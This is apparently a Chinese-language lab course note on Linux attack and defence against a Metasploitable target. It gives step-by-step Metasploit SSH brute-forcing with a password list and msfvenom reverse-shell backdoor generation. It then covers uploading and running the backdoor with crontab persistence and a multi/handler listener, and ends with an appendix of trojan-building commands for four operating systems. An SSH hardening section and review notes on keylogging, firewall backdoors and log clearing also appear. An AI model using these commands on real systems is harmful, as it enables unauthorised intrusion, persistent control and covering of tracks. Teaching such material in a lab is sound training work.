目标:Linux系统攻防实战

内容回顾

MS17-010:永恒之蓝漏洞

一.漏洞验证:openvas扫描/poc脚本/MSF中搜索漏洞验证程序进行验证

二.使用MSF中的漏洞攻击/利用程序进行攻击

三.获取凭证信息.对目标主机的屏幕进行截图,监控对方屏幕,进程迁移,进行键盘记录

五.开启/关闭对方防火墙,在防火墙上留后门端口

六.控制对方的用户账户控制配置开关.将nc.exe瑞士军刀程序上传到目标主机.设置nc.exe开机自启.kali中使用命令连接后门:nc 目标IP 后门端口

十.清除日志

SSH连接报错解决

┌──(kali㉿kali)-[~]
└─$ mkdir .ssh
┌──(kali㉿kali)-[~]
└─$ vim .ssh/config                          //创建ssh配置文件,防止ssh连接报错
 Host *
HostkeyAlgorithms +ssh-rsa
PubkeyAcceptedKeyTypes +ssh-rsa

一、SSH渗透和防御

Linux开源系统,系统本身因漏洞造成的攻击相对比较少,主要集中在SSH攻击;
SSH所采用的加密机制,可以防止数据传输过程中信息泄露;
SSH基于用户名密码的身份验证,容易遭受密码暴力破解攻击;

1、SSH暴力破解

1)创建字典
┌──(root㉿kali)-[~]
└─#  vim pass.txt                                        

root
password
Tedu.cn123
123456
msfadmin
admin
admin123
2)爆破
┌──(root㉿kali)-[~]
└─# msfconsole 

 msf6  >  search ssh_login                             //破解密码,并登录
 Matching Modules
================
   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  auxiliary/ scanner /ssh/ ssh_login                           normal  No     SSH Login Check Scanner
   1  auxiliary/scanner/ssh/ssh_login_pubkey                   normal  No     SSH Public Key Login Scanner
 
 msf6 >  use 0 

msf6 auxiliary(scanner/ssh/ssh_login) >  set rhosts 192.168.10.143 

msf6 auxiliary(scanner/ssh/ssh_login) >  show options                 //显示攻击选项 

msf6 auxiliary(scanner/ssh/ssh_login) >  set username msfadmin         //设置爆破用户名 

msf6 auxiliary(scanner/ssh/ssh_login) >  set pass_file pass.txt      //设置密码文件 

msf6 auxiliary(scanner/ssh/ssh_login) >  run 
 [+]  192.168.10.143:22 - Success: ' msfadmin:msfadmin ' 
 // 爆破密码成功,并成功登录(产生会话) 

msf6 auxiliary(scanner/ssh/ssh_login) >  sessions           //显示连接的会话
 Active sessions
===============
  Id  Name  Type         Information  Connection
  --  ----  ----         -----------  ----------
   1          shell linux  SSH root @   192.168.10.224:44051 -> 192.168.10.143
                                      :22 (192.168.10.143)
msf6 auxiliary(scanner/ssh/ssh_login) >  sessions 1                   //切换会话 

 whoami 

 sudo -i 

 passwd root 

 改完root密码之后使用Moba进行远程连接,使用root身份输入命令

2、SSH安全配置

root@metasploitable:~#  vim /etc/ssh/sshd_config           //SSH服务配置文件
 5   Port  12345                                            //修改端口为12345,黑客想不到的
 25  LoginGraceTime  1m                                     //修改登录验证总耗时,1分钟
 26  PermitRootLogin  no                                    //修改不允许root远程登录
 28  MaxAuthTries  2                                        //新增一行,最大试错次数,2次
 29  AllowUsers  msfadmin@192.168.10.1                       //新增一行,仅允许指定用户在指定IP上登录
 
root@metasploitable:~#  /etc/init.d/ssh  restart           //重启SSH服务

安全攻防:
防守方
不想别人通过默认端口22爆破我的账号密码,修改默认端口,22修改为12345

攻击方:
nmap 扫描,查看ssh服务对应的端口
namp -sV 192.168.10.143
12345端口对应的服务时ssh服务

再次爆破的时候除了上面设置的命令选项外
set rport 12345

再次发起攻击,就会再次成功破解


3、验证加固成功

1)验证端口号22无效,只能用12345
2)验证root无法远程登录
login as:  root 
 root@192.168.10.143 's password: root              //输入正确密码,无法登录 
 Access denied
3)验证msfadmin可以从192.168.10.1登录
4)验证msfadmin密码允许试错2
5)验证msfadmin用户从攻击机192.168.10.224无法登录
┌──(kali㉿kali)-[~]
└─$ mkdir .ssh
┌──(kali㉿kali)-[~]
└─$ vim .ssh/config                           //创建ssh配置文件,防止ssh连接报错 
Host *
HostkeyAlgorithms +ssh-rsa
PubkeyAcceptedKeyTypes +ssh-rsa

┌──(kali㉿kali)-[~] 
 └─$ ssh msfadmin@192.168.10.143 -p 12345      //指定端口12345登录 


 登录失败,因为ssh配置中不允许192.168.10.1以外的IP地址进行远程连接

4、SSH密钥验证远程访问

1)加密方式
对称加密:秘钥相同、速度快秘钥不易管理

非对称加密:由公钥和私钥组成,两个密钥相互加密和解密,公钥公开,数字签名
应用场景
保障数据的机密性公加私解(对方公钥加密,对方用自己的私钥解密)
保障数据的不可抵赖性私加公解(自己用私钥加密,对方用我的公钥解密)

2)SSH应用密钥远程访问
  • 客户端生成私钥(.ssh/id_rsa)和公钥( .ssh/id_rsa.pub),私钥放在客户端
  • 把客户端生成的公钥上传ssh服务器某用户主目录下(~/.ssh/authorized_keys )
  • 在客户端以某用户的身份访问SSH服务器
在客户端moba终端上生成密钥对
 /home/mobaxterm    rm -rf .ssh/             //清除现有密钥对,防干扰 
 /home/mobaxterm    ssh-keygen              //生成新的密钥对 

 一路回车下去
将公钥传输到目标主机
/home/mobaxterm   ssh-copy-id  root@192.168.10.143       

 //传到root主目录,将会以 root 身份远程访问 

以密钥方式访问目标主机

修改 SSH 配置文件,禁止使用密码登录
root@metasploitable:~#  vim /etc/ssh/sshd_config 
50 PasswordAuthentication  no                                   //禁止SSH使用密码登录

root@metasploitable:~#  /etc/init.d/ssh restart             //重启ssh服务

使用cmd制作密钥(如果Moba不好用的话选择此方法):
1.win+r输入cmd, 打开windows cmd命令行

生成密钥对:
ssh-keygen


2.查看密钥生成的位置
dir .ssh

3..ssh目录下id_rsa.pub文件上传到目标主机 ~/.ssh/authorized_keys

scp   .ssh/id_rsa.pub     root@192.168.10.143:~/.ssh/authorized_keys


4.Moba在建立ssh远程连接时,在高级SSH设置中勾选 使用私钥,并手动选择私钥位置

(使用cmd生成的密钥位置在C:\Users\windows当前登录的用户名\.ssh\id_rsa )

二、Linux后门

侵入成功后,为了持久远程控制对方,即便是对方已经进行安全加固

1、创建后门程序(在kali第一个终端中执行)
#  msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.224 lport=4444 -f elf -o shell    
 
 后门名称是shell,反弹到192.168.10.2244444端口
 reverse_tcp:tcp反弹连接 优点:突破防火墙 突破内网的限制
 -o 指定创建的后门程序
 -lhost  反弹的主机:本机IP地址
 -lport  反弹的端口:本地端口号

2、植入后门程序(持久性控制(在kali第一个终端中执行)
前提:已经侵入到目标主机,获得了对方账号密码
还原靶机快照,进行下列操作
┌──(root㉿kali)-[~]
└─#  scp shell root@192.168.10.143:/mnt               //上传到靶机/mnt下 

3、激活后门程序(在kali第一个终端中执行)

┌──(root㉿kali)-[~]
└─#   ssh  root@192.168.10.143                         //远程连接目标主机 

root@metasploitable:~#  ls -l /mnt/shell              //查看shell是否可以执行 
-rw - r- - r- -  1 root root 207 2023-01-03 03:54 /mnt/shell

root@metasploitable:~#  chmod  a+x  /mnt/shell       //设置全部用户执行权限 

root@metasploitable:~#  ls  -l  /mnt/shell   
-rwxr-xr-x 1 root root 207 2023-01-03 03:54 /mnt/shell

root@metasploitable:~#  /mnt/shell   &                 //在后台执行后门程序,手动完成

4、攻击机连接后门(在kali第二个终端中执行)

┌──(root㉿kali)-[~]
└─#  msfconsole 
msf6 >  use  exploit/multi/handler                               //调用侦听模块 

msf6 exploit(multi/handler) >  set lhost 192.168.10.224          //设置响应的IP地址 
msf6 exploit(multi/handler) >  set lport  4444                  //设置响应的端口号 
msf6 exploit(multi/handler) >  set payload linux/x86/meterpreter/reverse_tcp    //调用基于TCP的反弹载荷 
msf6 exploit(multi/handler) >  run 
 meterpreter >                                                 //进入meterpreter说明连接成功

5、自动执行后门程序

1)Linux计划任务crontab程序,可以周期的执行某些程序
创建命令和格式:# EDITOR=vim crontab -e
* * * * * 命令行
分 时 天 月 周 命令行
30  6   *   *   *    /mnt/shell              //每天6点30分执行/mnt/shell程序
*   *    *   *   *   /mnt/shell               //每分钟执行一次 
1   *    *   *   *   /mnt/shell              //每小时的第1分钟执行
1   1    *   *   *   /mnt/shell              //每天1点1分执行
1   1    1   *   *   /mnt/shell              //每月1日,1点1分执行
计划任务:
15 * * * * :每个小时的第15分钟执行一次计划任务
15 12 * * * :每天的12:15分执行一次计划任务
15 12 6 * * :每个月的 612:15 执行一次计划任务
15 12 6 7 * :每年7612:15 执行一次计划任务
15 12 * * 0 : 每周的周日 12:15 执行一次计划任务
2)在目标主机创建计划任务(在kali第一个终端中执行)
root@metasploitable:~#  EDITOR=vim crontab -e            //调用vim编辑 
  * * * * * /bin/date>>/tmp/time.txt
  * * * * * /mnt/shell &                              //每分钟执行/mnt/shell后门程序
3)检查 MSF 会话(在kali第二个终端中执行)
msf6 exploit(multi/handler) >  run                     //连接后门程序 
meterpreter >  background                              //如进行其它任务,把当前任务放入后台 

msf6 exploit(multi/handler) >   sessions               //查看所有会话 

msf6 exploit(multi/handler) >  sessions   会话ID        //切换到会话

练习

0.还原Linux靶机到初始化位置
1.获取Linux靶机IP,扫描Linux软件版本和开放的端口
(22端口 ssh有没有开放,vsftpd是否存在笑脸漏洞)
2.ssh暴力破解/笑脸漏洞入侵到Linux中,设置root用户的密码
3.连接到Linux靶机,制作一款木马上传
4.指定计划任务,木马定期执行
5.kali侦听木马上线,进行连接
6.禁止ssh使用密码连接,使用密钥进行ssh连接(进行ssh爆破防御)

附:各操作系统生成木马命令

Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=你的端口 -f exe > backdoor.exe


Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=你的IP LPORT=你的端口 -f elf > backdoor.elf


Android:
msfvenom -p android/meterpreter/reverse_tcp LHOST=你的IP LPORT=你的端口 R > backdoor.apk


MacOS:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=你的IP LPORT=你的端口 -f macho > backdoor.macho
MobaXterm21.2中文便携版.zip